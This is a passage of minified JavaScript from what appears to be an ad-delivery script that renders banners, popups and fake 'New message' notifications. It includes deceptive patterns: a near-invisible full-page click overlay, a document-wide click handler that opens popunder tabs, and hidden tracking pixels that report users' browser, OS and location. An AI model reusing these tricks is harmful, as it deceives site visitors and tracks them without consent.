            }, aa: function (a) {
                function b() {
                    return self.innerHeight ? self.innerHeight : k.documentElement && k.documentElement.clientHeight ? k.documentElement.clientHeight : k.body ? k.body.clientHeight : 600
                }
                function c() {
                    var a = 0, b = 0;
                    if ("number" == typeof r.pageYOffset)b = r.pageYOffset, a = r.pageXOffset; else if (k.body && (k.body.scrollLeft || k.body.scrollTop))b = k.body.scrollTop, a = k.body.scrollLeft; else if (k.documentElement &&
                        (k.documentElement.scrollLeft || k.documentElement.scrollTop))b = k.documentElement.scrollTop, a = k.documentElement.scrollLeft;
                    return[a, b]
                }
                switch (a.type) {
                    case "top":
                        a.F.style.top = c()[1] + "px";
                        break;
                    case "center":
                        a.F.style.top = b() / 2 + c()[1] - a.F.offsetHeight + "px";
                        break;
                    default:
                        a.F.style.top = b() + c()[1] - a.F.offsetHeight + "px"
                }
            }, Ua: function (a) {
                return k.referrer && -1 == a.indexOf("\x26ref\x3d") ? "\x26ref\x3d" + encodeURIComponent(k.referrer) : ""
            }, Oa: function (a, b) {
                return-1 !== a.indexOf(b, a.length - b.length)
            }, k: function () {
                var a =
                    (k.compatMode || this.za) && !this.ca ? "CSS1Compat" == k.compatMode ? k.documentElement.clientHeight : k.body.clientHeight : (k.cb || k.defaultView).innerHeight;
                g.log(a);
                return a
            }, ua: function () {
                return(k.compatMode || this.za) && !this.ca ? "CSS1Compat" == k.compatMode ? k.documentElement.clientWidth : k.body.clientWidth : (k.cb || k.defaultView).innerWidth
            }, q: function () {
                return Math.max(r.pageYOffset || k.documentElement.scrollTop, k.body.scrollTop)
            }};
        rb.prototype = {a: {}, r: {}, f: z, oa: function () {
            function a(a) {
                a = g.parseJSON(g.L(a));
                g.log("Success RT, ",
                    a);
                g.Ya(a);
                b.r = a;
                var c = {br: Eb, as: Fb, tl: Gb, cf: Hb, vkm: Ib, rot: Jb, popup: Kb, mppund: Lb, tsr: Mb, scr: Nb, pin: Ob, mdirect: Pb};
                if (a.ads)for (var f = 0; f < a.ads.length; f++) {
                    var p = c[a.ads[f].format];
                    p ? (g.log("Rendering,", a.ads[f]), p.p(a.ads[f])) : g.log("Cant render ad:", a.ads[f])
                }
            }
            var b = this, c = this.a.rtUri.replace("/?", "");
            this.a.rotatorDomain && this.a.rtUri && g.da(this.a.rotatorDomain, this.a.rtUri + this.Wa(c) + g.Va() + g.Ua(c), a)
        }, Ba: function (a) {
            g.X(a).style.cssText = "width:1px;height:1px;position:absolute;left:-10000px;"
        },
            Wa: function (a) {
                var b = "";
                this.a.foreignUid && (b = "\x26foreignUid\x3d" + this.a.foreignUid);
                return-1 == a.indexOf("\x26udata\x3d") && r.globalInfo.udata && (a = r.globalInfo.udata) ? (a = g.parseJSON(g.L(a)), this.Ba(a.matchingUrl), b + "\x26udata\x3d" + a.uid) : b
            }};
        var t = "undefined", M = "object", na = "application/x-shockwave-flash", gb = "SWFObjectExprInst", G = r, u = k, S = navigator, vb = T, qa = [function () {
                if (vb) {
                    var a = u.getElementsByTagName("body")[0], b = u.createElement(M);
                    b.setAttribute("type", na);
                    var c = a.appendChild(b);
                    if (c) {
                        var d = 0;
                        (function () {
                            if (typeof c.GetVariable !=
                                t) {
                                var e = c.GetVariable("$version");
                                e && (e = e.split(" ")[1].split(","), n.n = [parseInt(e[0], 10), parseInt(e[1], 10), parseInt(e[2], 10)])
                            } else if (10 > d) {
                                d++;
                                setTimeout(arguments.callee, 10);
                                return
                            }
                            a.removeChild(b);
                            c = z;
                            Ka()
                        })()
                    } else Ka()
                } else Ka()
            }], P = [], ma = [], Y = [], ea, pa, Ha, fb, V = T, oa = T, L, Da, cb = y, n, Qb = typeof u.getElementById != t && typeof u.getElementsByTagName != t && typeof u.createElement != t, Ba = S.userAgent.toLowerCase(), Ca = S.platform.toLowerCase(), Rb = Ca ? /win/.test(Ca) : /win/.test(Ba), Sb = Ca ? /mac/.test(Ca) : /mac/.test(Ba),
            Tb = /webkit/.test(Ba) ? parseFloat(Ba.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : T, ab = !+"\v1", ia = [0, 0, 0], D = z;
        if (typeof S.plugins != t && typeof S.plugins["Shockwave Flash"] == M) {
            if ((D = S.plugins["Shockwave Flash"].description) && !(typeof S.mimeTypes != t && S.mimeTypes[na] && !S.mimeTypes[na].enabledPlugin))vb = y, ab = T, D = D.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), ia[0] = parseInt(D.replace(/^(.*)\..*$/, "$1"), 10), ia[1] = parseInt(D.replace(/^.*\.(.*)\s.*$/, "$1"), 10), ia[2] = /[a-zA-Z]/.test(D) ? parseInt(D.replace(/^.*[a-zA-Z]+(.*)$/,
                "$1"), 10) : 0
        } else if (typeof G.ActiveXObject != t)try {
            var wb = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
            if (wb && (D = wb.GetVariable("$version")))ab = y, D = D.split(" ")[1].split(","), ia = [parseInt(D[0], 10), parseInt(D[1], 10), parseInt(D[2], 10)]
        } catch (Vb) {
        }
        n = {j: Qb, n: ia, i: Tb, c: ab, e: Rb, R: Sb};
        n.j && ((typeof u.readyState != t && "complete" == u.readyState || typeof u.readyState == t && (u.getElementsByTagName("body")[0] || u.body)) && Z(), V || (typeof u.addEventListener != t && u.addEventListener("DOMContentLoaded", Z, T), n.c && n.e &&
            (u.attachEvent("onreadystatechange", function () {
                "complete" == u.readyState && (u.detachEvent("onreadystatechange", arguments.callee), Z())
            }), G == top && function () {
                if (!V) {
                    try {
                        u.La.doScroll("left")
                    } catch (a) {
                        setTimeout(arguments.callee, 0);
                        return
                    }
                    Z()
                }
            }()), n.i && function () {
            V || (/loaded|complete/.test(u.readyState) ? Z() : setTimeout(arguments.callee, 0))
        }(), hb(Z)));
        n.c && n.e && r.attachEvent("onunload", function () {
            for (var a = Y.length, b = 0; b < a; b++)Y[b][0].detachEvent(Y[b][1], Y[b][2]);
            a = ma.length;
            for (b = 0; b < a; b++)eb(ma[b]);
            for (var c in n)n[c] =
                z;
            n = z;
            for (var d in g.w)g.w[d] = z;
            g.w = z
        });
        I.prototype = {ea: {h: "", link: "aHR0cDovL3dpemFyZC10cmFmZnN0b2NrLmNvbS8/dXRtX3NvdXJjZT1vdXJiYW5uZXImdXRtX21lZGl1bT1iYW5uZXImdXRtX2NhbXBhaWduPWJhbm5lcl9yZWc\x3d"}, Ia: 3E3, ia: "", wa: "", xa: "", ib: "", Da: "", U: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;", W: "", ca: "", Z: T, Ca: 2, ja: 0, ka: 0, V: [], f: {}, b: function (a, b, c, d) {
            a.addEventListener ? a.addEventListener(b, c, d) : a.attachEvent("on" + b, c)
        }, K: function (a) {
            a = a || event;
            a.cancelBubble = y;
            a.stopPropagation && a.stopPropagation()
        },
            ba: function (a, b, c, d) {
                var e = this;
                if (a.isDefaultClose || !this.Z && a.stubSrc) {
                    d = d || -12;
                    c = c || b;
                    var f = k.createElement("span");
                    f.style.cssText = this.ia.replace("${offsetTop}", d);
                    f.onclick = function (b) {
                        e.K(b);
                        e.close(a, c)
                    };
                    if (a.isDefaultClick || !this.Z && a.stubSrc)d = k.createElement("a"), d.style.cssText = this.Da, d.target = "_blank", d.href = a.trackingDomain + g.g(a.clickUri + e.G()), d.onclick = function (b) {
                        e.K(b);
                        this.href = a.trackingDomain + g.g(a.clickUri + e.G());
                        e.na(c)
                    }, b.appendChild(d);
                    setTimeout(function () {
                            b.appendChild(f)
                        },
                        this.Ia)
                } else r.hide = function () {
                    e.close(a, e.f)
                }
            }, H: function (a, b, c, d) {
                c = c || "bottom";
                d = d || "right";
                b.showLogo && (b = k.createElement("a"), b.href = g.L(this.ea.link), b.target = "_blank", b.style.cssText = "z-index:99;position:absolute;" + c + ":-15px;width:100%;height:15px;left:0;right:0; background:#fff url(" + this.ea.h + ") no-repeat " + d + " top;", a.appendChild(b))
            }, J: function (a, b) {
                g.X(b.impDomain + g.g(b.trackShowUri)).style.cssText = this.U
            }, G: function () {
                return this.ja > this.Ca || 0 < this.ka || x.a.isMobile ? "" : "\x26rej\x3d1"
            },
            w: {eb: function (a, b, c, d) {
                if (n.j && a && b) {
                    var e = {};
                    e.id = a;
                    e.qa = b;
                    e.O = c;
                    e.fa = d;
                    P[P.length] = e;
                    U(a, T)
                } else d && d({success: T, id: a})
            }, Sa: function (a) {
                if (n.j)return Ja(a)
            }, N: function (a, b, c, d, e, f, g, h, j, k) {
                var A = {success: T, id: b};
                n.j && !(n.i && 312 > n.i) && a && b && c && d && e ? (U(b, T), ib(function () {
                    c += "";
                    d += "";
                    var q = {};
                    if (j && typeof j === M)for (var B in j)q[B] = j[B];
                    q.data = a;
                    q.width = c;
                    q.height = d;
                    B = {};
                    if (h && typeof h === M)for (var r in h)B[r] = h[r];
                    if (g && typeof g === M)for (var F in g)B.s = typeof B.s != t ? B.s + ("\x26" + F + "\x3d" + g[F]) : F + "\x3d" +
                        g[F];
                    if (la(e))r = Ea(q, B, b), q.id == b && U(b, y), A.success = y, A.S = r; else {
                        if (f && Ia()) {
                            q.data = f;
                            Ga(q, B, b, k);
                            return
                        }
                        U(b, y)
                    }
                    k && k(A)
                })) : k && k(A)
            }, kb: function () {
                cb = T
            }, W: n, Ra: function () {
                return{$a: n.n[0], bb: n.n[1], fb: n.n[2]}
            }, va: la, Ka: function (a, b, c) {
                if (n.j)return Ea(a, b, c)
            }, hb: function (a, b, c, d) {
                n.j && Ia() && Ga(a, b, c, d)
            }, gb: function (a) {
                n.j && eb(a)
            }, Ja: function (a, b, c, d) {
                n.j && db(a, b, c, d)
            }, Fa: ib, Ha: hb, Ta: function (a) {
                var b = u.location.search || u.location.hash;
                if (b) {
                    /\?/.test(b) && (b = b.split("?")[1]);
                    if (a == z)return bb(b);
                    for (var b =
                        b.split("\x26"), c = 0; c < b.length; c++)if (b[c].substring(0, b[c].indexOf("\x3d")) == a)return bb(b[c].substring(b[c].indexOf("\x3d") + 1))
                }
                return""
            }, Pa: function () {
                if (oa) {
                    var a = J(gb);
                    a && ea && (a.parentNode.replaceChild(ea, a), pa && (U(pa, y), n.c && n.e && (ea.style.display = "block")), Ha && Ha(fb));
                    oa = T
                }
            }}, N: function (a, b, c, d, e, f) {
                this.w.N(this.ab(a, b, c), d, e, f, "10.0.0", "", T, this.V, T)
            }, ab: function (a, b, c) {
                return x.a.imgDomain + a + "?closeid\x3d" + b + "\x26link1\x3d" + c + this.Aa()
            }, Aa: function () {
                return"\x26keywords\x3d" + encodeURIComponent(x.a.keywords) +
                    "\x26browsername\x3d" + encodeURIComponent(x.a.uaFamilyName) + "\x26browserversion\x3d" + x.a.uaVersion + "\x26os\x3d" + encodeURIComponent(x.a.osName) + "\x26countryid\x3d" + x.a.countryId + "\x26district\x3d" + encodeURIComponent(x.a.district) + "\x26region\x3d" + encodeURIComponent(x.a.region) + "\x26city\x3d" + encodeURIComponent(x.a.city)
            }, B: function (a) {
                return a.replace("{keywords}", x.r.keywords || "").replace("{browsername}", x.r.uaFamilyName || "").replace("{browserversion}", x.r.uaVersion || "").replace("{os}", x.r.osName ||
                    "").replace("{countryid}", x.r.countryId || "").replace("{district}", x.r.district || "").replace("{region}", x.r.region || "").replace("{city}", x.r.city || "")
            }, Ma: function (a, b, c, d, e) {
                a = g.Ga(a + (-1 == a.indexOf("?") ? "?" : "\x26") + "clickUrl\x3d" + b + this.Aa(), c);
                a.style.cssText = "width:" + d + "px;height:" + e + "px;border:none;";
                a.scrolling = "no"
            }, ya: function (a) {
                var b = a.clickUri.replace("clk", "cl");
                a = (a.trackingDomain || a.teasers[0].trackingDomain) + g.g(b);
                g.X(a).style.cssText = this.U
            }, close: function (a, b) {
                this.ya(a);
                this.na(b)
            },
            na: function (a) {
                a && k.body.removeChild(a)
            }, t: function (a) {
                var b = this;
                this.b(k, "mousemove", function () {
                    b.ja++
                }, T);
                this.b(k, "scroll", function () {
                    b.ka++
                }, T);
                this.ea.h = x.a.scriptsDomain + "img/adv.png";
                this.Z = this.w.va("1");
                g.log(a);
                this.W = navigator.userAgent.toLowerCase();
                this.ca = -1 < this.W.indexOf("opera");
                this.za = !this.ca && -1 < this.W.indexOf("msie");
                this.wa = x.a.scriptsDomain + "img/close.png";
                this.xa = x.a.scriptsDomain + "img/close_ie.gif";
                this.ia = "z-index:101;position:absolute;top:${offsetTop}px;right:-12px;background:url(" +
                    this.wa + ") no-repeat 50%;width:30px;height:30px;cursor:pointer;* background:url(" + this.xa + ");";
                this.ib = x.a.scriptsDomain + "img/blank.gif";
                this.Da = "background:white;filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d1);-moz-opacity:0.01;-khtml-opacity:0.01;opacity:0.01;cursor:pointer;left:0px;top:0px;right:0px;bottom:0px;width:100%;height:100%;position:absolute;";
                this.V.allowScriptAccess = "always";
                this.V.quality = "high";
                this.V.wmode = "transparent"
            }, p: function () {
                g.log("Method not implemented")
            },
            M: function (a, b) {
                var c = k.createElement("div");
                a.appendChild(c);
                c.style.width = b.width + "px";
                c.style.height = b.height + "px";
                !this.Z && b.stubSrc && (c.style.background = "url(" + x.a.imgDomain + b.stubSrc + ") no-repeat 50% 50%");
                if (b.iframeUrl)this.Ma(b.iframeUrl, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)), c, b.width, b.height); else if (g.Oa(b.src, ".swf")) {
                    var d = k.createElement("div");
                    d.id = "swf" + (new String(Math.random())).slice(2);
                    c.appendChild(d);
                    this.N(b.src, d.id, encodeURIComponent(b.trackingDomain + g.g(b.clickUri)),
                        d.id, b.width, b.height)
                } else c.style.background = "url(" + x.a.imgDomain + b.src + ") no-repeat 50% 50%"
            }};
        E(xa, I);
        xa.prototype.p = function (a) {
            var b = this;
            b.t(a);
            var c = g.z("div");
            b.f = c;
            b.M(c, a);
            b.H(c, a, "bottom", "right");
            b.J(c, a);
            var d = b.$(a.width, a.height), e = "z-index:9999;position:fixed;top:50%;left:50%;margin-top:-" + a.height / 2 + "px;margin-left:-" + a.width / 2 + "px;width: " + a.width + "px;height: " + a.height + "px;";
            g.v() || (e = e.replace("fixed", "absolute"), b.b(r, "scroll", function () {
                c.style.top = g.q() + d.top + "px"
            }), b.b(r,
                "resize", function () {
                    var d = b.$(a.width, a.height);
                    c.style.top = g.q() + d.top + "px"
                }));
            c.style.cssText = e;
            this.ba(a, c, c)
        };
        xa.prototype.$ = function (a, b) {
            return{left: (g.ua() - a) / 2, top: (g.k() - b) / 2}
        };
        E(Ta, I);
        Ta.prototype.p = function (a) {
            function b() {
                var b = setInterval(function () {
                    f < parseInt(a.height, 10) + d ? (f += 10, w.style.top = f + "px") : (clearInterval(b), setTimeout(c, 1E3))
                }, 10)
            }
            function c() {
                var a = setInterval(function () {
                    0 < f ? (f -= 10, w.style.top = f + "px") : (clearInterval(a), setTimeout(b, e))
                }, 20)
            }
            var d = a.showLogo ? 24 : 18, e = 15E3,
                f = a.height, p = 0, h = 6 == a.bannerPosition ? "left" : "right";
            this.t(a);
            var j = g.z("div");
            this.f = j;
            var w = k.createElement("div");
            j.appendChild(w);
            this.M(w, a);
            this.H(w, a, "top", "left");
            this.J(w, a);
            h = "z-index:9999;padding:" + d + "px 9px 0 0;overflow:hidden;position:fixed;bottom:0;" + h + ": 0px;width: " + a.width + "px;height: " + a.height + "px;";
            g.v() || (h = h.replace("fixed", "absolute"), h += "bottom:auto;top:" + (g.k() - a.height - d) + "px;", this.b(r, "scroll", function () {
                j.style.top = g.q() + g.k() - a.height + "px"
            }), this.b(r, "resize", function () {
                j.style.top =
                    g.q() + g.k() - a.height - d + "px"
            }));
            j.style.cssText = h;
            w.style.cssText = "position:relative;top: " + a.height + "px;";
            this.ba(a, w, j, a.showLogo ? -20 : -12);
            a.animate ? setTimeout(function () {
                var b = setInterval(function () {
                    Math.abs(parseInt(banner.style.top, 10)) > a.height ? w.style.top = (p += 20) + "px" : clearInterval(b)
                }, 20)
            }, 1E3) : c()
        };
        E(Ua, I);
        Ua.prototype.p = function (a) {
            this.t(a);
            var b = g.z("div");
            this.f = b;
            this.M(b, a);
            this.H(b, a, "bottom", "right");
            this.J(b, a);
            var c = "z-index:9999;position:fixed;top:0px;left: 50%;width: " + a.width +
                "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";
            g.v() || (c = c.replace("fixed", "absolute"), this.b(r, "scroll", function () {
                b.style.top = g.q() + "px"
            }));
            b.style.cssText = c;
            this.ba(a, b, b, 3)
        };
        E(Va, I);
        Va.prototype.p = function (a) {
            this.t(a);
            var b = g.z("div");
            this.f = b;
            this.M(b, a);
            this.H(b, a, "top", "left");
            this.J(b, a);
            var c = "z-index:9999;position:fixed;left: 50%;bottom:0; width: " + a.width + "px;height: " + a.height + "px;margin-left:-" + a.width / 2 + "px";
            g.v() ? this.b(r, "resize", function () {
                b.style.top = g.k() - a.height + "px"
            }) :
                (c = c.replace("fixed", "absolute"), c += "bottom:auto;top:" + (g.k() - a.height) + "px;", this.b(r, "scroll", function () {
                    b.style.top = g.q() + g.k() - a.height + "px"
                }), this.b(r, "resize", function () {
                    b.style.top = g.q() + g.k() - a.height + "px"
                }));
            b.style.cssText = c;
            this.ba(a, b, b, a.showLogo ? -20 : -12)
        };
        E(ca, I);
        ca.prototype.p = function (a) {
            function b() {
                if (!c && (j.ja > j.Ca || 0 < j.ka) && 1E3 <= (new Date).getTime() - d) {
                    c = y;
                    var b = function (a) {
                        l = setInterval(function () {
                            if (h[a] && p[a] < f * F)p[a] += 5, h[a].style.top = p[a] + "px"; else {
                                clearInterval(l);
                                var c =
                                    a + 1;
                                if (c < h.length)setTimeout(function () {
                                    b(c)
                                }, h[a] ? 4E3 : 0); else {
                                    for (var d = 0; d < h.length; d++)h[d] && (h[d].style.top = f * h.length + 10);
                                    setTimeout(function () {
                                        j.ha(c, h[0] && "true" == h[0]);
                                        e(0)
                                    }, h[a] ? 1E4 : 0)
                                }
                            }
                        }, 10)
                    }, e = function (a) {
                        l = setInterval(function () {
                            if (h[a] && p[a] > f * (F - 1))for (var c = a; 0 <= c; c--)h[c] && (p[c] -= 5, h[c].style.top = p[c] + "px"); else {
                                clearInterval(l);
                                var d = a + 1;
                                d < h.length ? setTimeout(function () {
                                    j.ha(d, h[d] && "true" == h[d]);
                                    e(d)
                                }, h[a] ? 4E3 : 0) : setTimeout(function () {
                                    b(0)
                                }, h[a] ? 8E3 : 0)
                            }
                        }, 20)
                    }, F = 0, n = function () {
                        for (var a =
                            F = 0; a < h.length; a++)h[a] != z && F++
                    }, m = function (b, c, d) {
                        j.f.removeChild(h[c]);
                        j.K(b);
                        h[c] = z;
                        n();
                        d && j.ya(a);
                        b = T;
                        for (d = c; d < h.length; d++)h[d] && (!b && p[d] >= f * h.length) && (b = y, p[d] = p[c], h[d].style.top = p[d] + "px");
                        if (!b) {
                            var e = f;
                            j.f.style.overflow = "visible";
                            var k = setInterval(function () {
                                if (0 < e) {
                                    e -= 5;
                                    for (var a = c; 0 <= a; a--)h[a] && (p[a] += 5, h[a].style.top = p[a] + "px")
                                } else j.f.style.overflow = "hidden", clearInterval(k)
                            }, 10)
                        }
                        j.f.style.height = f * F + "px";
                        g.v() || (j.f.style.top = g.q() + g.k() - f * F + "px");
                        for (d = 0; d < h.length; d++)h[d] &&
                        (p[d] -= f, h[d].style.top = p[d] + "px")
                    };
                    j.f = g.z("div");
                    var u = a.trackingDomain + g.g(a.clickUri.replace("/?", "")), l;
                    j.J(j.f, a);
                    for (var x = 0; x < w.length; x++) {
                        p.push(f * w.length);
                        var t = k.createElement("div");
                        t.id = "vid-" + x;
                        t.className = "vmcontainer";
                        var v = k.createElement("div");
                        t.setAttribute("mute", a.mute);
                        t.onmouseover = function () {
                            this.className += " hover"
                        };
                        t.onmouseout = function () {
                            this.className = this.className.replace(" hover", "")
                        };
                        var ja = k.createElement("div");
                        ja.style.cssText = "position:relative;";
                        ja.innerHTML =
                            "\x3cspan\x3e" + w[x].header + "\x3c/span\x3e";
                        var ka = k.createElement("a");
                        ka.id = "vclose-" + x;
                        var C = k.createElement("a");
                        ka.className = "vclose";
                        ja.appendChild(ka);
                        ka.appendChild(C);
                        v.appendChild(ja);
                        C = k.createElement("div");
                        C.style.cssText = "float:left;margin:0 10px 0 10px;border-radius:3px;overflow:hidden;box-shadow:0 1px 2px rgb(17, 17, 17);";
                        v.appendChild(C);
                        g.pa() || (v.style.cssText = "padding:5px 15px;");
                        var D = k.createElement("div"), E = k.createElement("style"), G = k.getElementsByTagName("head")[0];
                        E.type =
                            "text/css";
                        E.styleSheet ? E.styleSheet.cssText = A : E.appendChild(k.createTextNode(A));
                        G.appendChild(E);
                        D.innerHTML = '\x3cspan class\x3d"text-link"\x3e\x3ca href\x3d"#" \x3e' + w[x].title + "\x3c/a\x3e\x3c/span\x3e" + w[x].description;
                        v.appendChild(D);
                        j.M(C, a);
                        j.f.appendChild(t);
                        t.appendChild(v);
                        h.push(t);
                        ka.onclick = function (a) {
                            var b = parseInt(this.id.replace("vclose-", ""));
                            m(a, b, y)
                        };
                        t.onclick = function (a) {
                            j.K(a);
                            var b = parseInt(this.id.replace("vid-", ""));
                            m(a, b, T);
                            r.open(u)
                        };
                        ja.style.cssText = "position:relative;font-size:13px;height:19px;line-height:19px;color:white;padding:10px 10px 3px;font-weight:bold;";
                        t.style.cssText = q
                    }
                    n();
                    x = "z-index:9999;overflow:hidden;font-family: tahoma,arial,verdana,sans-serif,Lucida Sans;font-size: 11px;z-index:9999; position:fixed;bottom:0;left: 10px;width:345px;height:" + f * h.length + "px;";
                    g.v() || (x = x.replace("fixed", "absolute"), x += "bottom:auto;top:" + (g.k() - f * h.length) + "px;", j.b(r, "scroll", function () {
                        j.f.style.top = g.q() + g.k() - F * f + "px"
                    }), j.b(r, "resize", function () {
                        j.f.style.top = g.q() + g.k() - F * f + "px"
                    }));
                    j.f.style.cssText = x;
                    g.v() || (j.f.style.top = g.q() + g.k() - F * f + "px");
                    setTimeout(function () {
                        0 <
                            h.length && (j.ha(0, h[0] && "true" == h[0]), e(0))
                    }, 3E3)
                }
            }
            var c = T, d = (new Date).getTime(), e = "vm" + (new Date).getTime(), f = g.pa() ? 105 : 125, p = [], h = [], j = this, w = j.Qa(a, e);
            j.t(a);
            var A = '.vclose {width: 23px; height: 23px; display: block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d0);-moz-opacity: 0;-khtml-opacity:0;opacity:0;position:absolute; right:10px; top:10px; background: url("' + x.a.scriptsDomain + 'img/notifier_close_ie.png") no-repeat scroll 0 0;} .vclose a {display:none; width:7px; height:7px;margin:8px; background:url(' +
                    x.a.scriptsDomain + "/img/notifier_close.gif)}.vclose:hover a{display:block; filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;}.vmcontainer:hover .vclose:hover{filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d100);-moz-opacity:1;-khtml-opacity:1;opacity:1;}.vmcontainer:hover .vclose, .vmcontainer.hover .vclose{filter:progid:DXImageTransform.Microsoft.Alpha(opacity\x3d60);-moz-opacity:.6;-khtml-opacity:.6;opacity:.6;} .text-link {padding-right:10px;} .text-link a {color:rgb(177, 218, 255);font-weight:bold;text-decoration:none;}.text-link a:hover {text-decoration:underline;}",
                e = 'height:130px;width:350px; background: url("' + x.a.scriptsDomain + 'img/notifier_back.png") center center no-repeat; ', q = "left:0;color:white;margin:0 0 10px 0;" + (g.pa() ? "height:95px;width:320px;border-radius: 5px 5px 5px 5px;box-shadow: 0pt 2px 15px rgb(0, 0, 0);text-shadow: 0px 1px 0px rgb(38, 38, 38);background:rgba(0,0,0,0.75);" : e) + "position:absolute;top: " + (f * w.length + 10) + "px;";
            this.b(k, "mousemove", function () {
                b()
            }, T);
            this.b(k, "scroll", function () {
                b()
            }, T)
        };
        ca.prototype.T = z;
        ca.prototype.Qa = function (a, b) {
            var c = [], d = a.title.split("{splitter}"), e = a.description.split("{splitter}");
            a.windowHeader || (a.windowHeader = "\u041d\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435");
            for (var f = a.windowHeader.split("{splitter}"), k = Math.max(f.length, Math.max(d.length, e.length)), h = 0; h < k; h++) {
                var j = {};
                j.title = this.B(h < d.length ? d[h] : d[0]);
                j.description = this.B(h < e.length ? e[h] : e[0]);
                j.header = this.B(h < f.length ? f[h] : f[0]);
                "" == j.header && (j.header = "\u041d\u043e\u0432\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435");
                j.wrapperId = b;
                j.id = b + h + 1;
                j.index = h;
                c.push(j)
            }
            g.log(c);
            return c
        };
        ca.prototype.ha = function (a, b) {
            if (b == T)if (g.Q()) {
                var c = k.createElement("bgsound");
                c.src = x.a.scriptsDomain + "img/bb2.mp3";
                c.loop = "1";
                k.body.appendChild(c)
            } else this.T && (c = k.getElementById(this.T)) && this.f && this.f.removeChild(c), c = k.createElement("div"), this.T = "vkmsound" + a, c.id = this.T, this.f.appendChild(c), g.w.N(x.a.scriptsDomain + "img/mp3player.swf?file\x3d" + x.a.scriptsDomain + "img/bb2.mp3\x26startplay\x3dtrue", this.T, "1", "1", "10.0.0", z, z,
                this.V)
        };
        E(Wa, I);
        Wa.prototype.p = function (a) {
            this.t(a);
            var b = {limit: a.limit, period: a.period, limitName: "__trflimit", periodName: "__trfmon"}, c = T;
            if (g.ga(b)) {
                var d = this, e = navigator.userAgent.toLowerCase();
                this.b(k, -1 < e.indexOf("iphone") || -1 < e.indexOf("ipad") ? "touchstart" : "click", function () {
                    g.ga(b) && !c && (c = y, g.log(a.trackingDomain + g.g(a.clickUri + d.G())), g.ma.call(d, a.trackingDomain + g.g(a.clickUri + d.G()), y, "_blank", ""), g.Ea(b))
                });
                this.J(k.body, a)
            }
        };
        E(ya, I);
        ya.prototype.p = function (a) {
            var b = {limit: a.limit,
                period: a.period, limitName: "__trfpoplimit", periodName: "__trfmonpop"};
            this.t(a);
            if (g.ga(b)) {
                var c = g.z("div"), d = k.createElement("div");
                c.appendChild(d);
                this.M(d, a);
                var e = this;
                e.f = c;
                d.onclick = function (d) {
                    g.ma(a.trackingDomain + g.g(a.clickUri + e.G()), y, "_blank", "");
                    g.Ea(b);
                    e.K(d);
                    e.na(c)
                };
                this.H(c, a, "bottom", "right");
                this.J(c, a);
                var f = this.$(a.width, a.height), d = "z-index:9999;cursor:pointer;position:fixed;top: " + f.top + "px;left: " + f.left + "px;width: " + a.width + "px;height: " + a.height + "px;";
                g.v() || (d = d.replace("fixed",
                    "absolute"), this.b(r, "scroll", function () {
                    c.style.top = g.q() + f.top + "px"
                }));
                c.style.cssText = d;
                d = k.createElement("span");
                d.style.cssText = this.ia.replace("${offsetTop}", "-20");
                e = this;
                d.onclick = function (b) {
                    e.K(b);
                    g.ma.call(e, a.trackingDomain + g.g(a.closeUri), y, "_blank", "");
                    e.close(a, c)
                };
                c.appendChild(d)
            }
        };
        ya.prototype.$ = function (a, b) {
            return{left: (g.ua() - a) / 2, top: (g.k() - b) / 2}
        };
        E(Xa, I);
        Xa.prototype.p = function (a) {
            this.t(a);
            confirm(a.bannerText) && (r.location = a.trackingDomain + g.g(a.clickUri))
        };
        E(Ya, I);
        Ya.prototype.p =
            function (a) {
                r.globalInfo.mredRendered || (r.globalInfo.mredRendered = y, g.log("Rendering m redir"), g.da(a.trackingDomain, a.clickUri))
            };
        E(da, I);
        da.prototype.r = "";
        da.prototype.p = function (a) {
            function b(a, b) {
                a.style.cssText = j.I[b];
                d.b(a, "mouseover", function () {
                    a.style.cssText = j.P[b];
                    "text" == b && j.o([a])
                }, T);
                d.b(a, "mouseout", function () {
                    a.style.cssText = j.I[b];
                    j.o([a])
                }, T)
            }
            function c(a, b) {
                d.b(a, "mouseover", function () {
                    b.style.cssText = j.P.sPText;
                    "TD" == a.tagName && j.o([b])
                }, y);
                d.b(a, "mouseout", function () {
                    b.style.cssText =
                        j.I.sPText;
                    j.o([b])
                }, y)
            }
            this.t(a);
            var d = this, e = k.createElement("table"), f = k.createElement("tbody"), p = k.createDocumentFragment(), h = k.createElement("img"), j = this, w = s, A;
            if (!w) {
                w = {};
                w.size = parseInt(a.bannerSize, 10) + 2 * parseInt(a.imgBorderWidth, 10);
                var q = w.size + parseInt(a.imgMarginSize, 10);
                switch (a.orientation) {
                    case "over":
                        w.margin = "0";
                        w.C = "0 0 " + a.imgMarginSize + "px";
                        w.m = "none";
                        w.l = "center";
                        w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize), left: -(a.bannerSizeOnmouseover - a.bannerSize) / 2};
                        break;
                    case "left":
                        w.margin =
                            "0 0 0 " + q + "px";
                        w.C = "0 -" + q + "px 0 0";
                        w.m = "left";
                        w.l = "left";
                        w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: -(a.bannerSizeOnmouseover - a.bannerSize)};
                        break;
                    case "right":
                        w.margin = "0 " + q + "px 0 0", w.C = "0 0 0 -" + q + "px", w.m = "right", w.l = "left", w.A = {top: -(a.bannerSizeOnmouseover - a.bannerSize) / 2, left: 0}
                }
            }
            A = w;
            var B = g.Q() ? "display:inline;zoom:1;" : "display:inline-block;", q = k.getElementById("wzblock" + a.blockId), n = parseInt(a.textSize, 10), m = n + (parseInt(a.textMouseOnTextSize, 10) - parseInt(a.textSize, 10)), l =
                n + (parseInt(a.textMouseOnTeaserSize, 10) - parseInt(a.textSize, 10));
            this.d = parseInt(a.textDivHeight, 10);
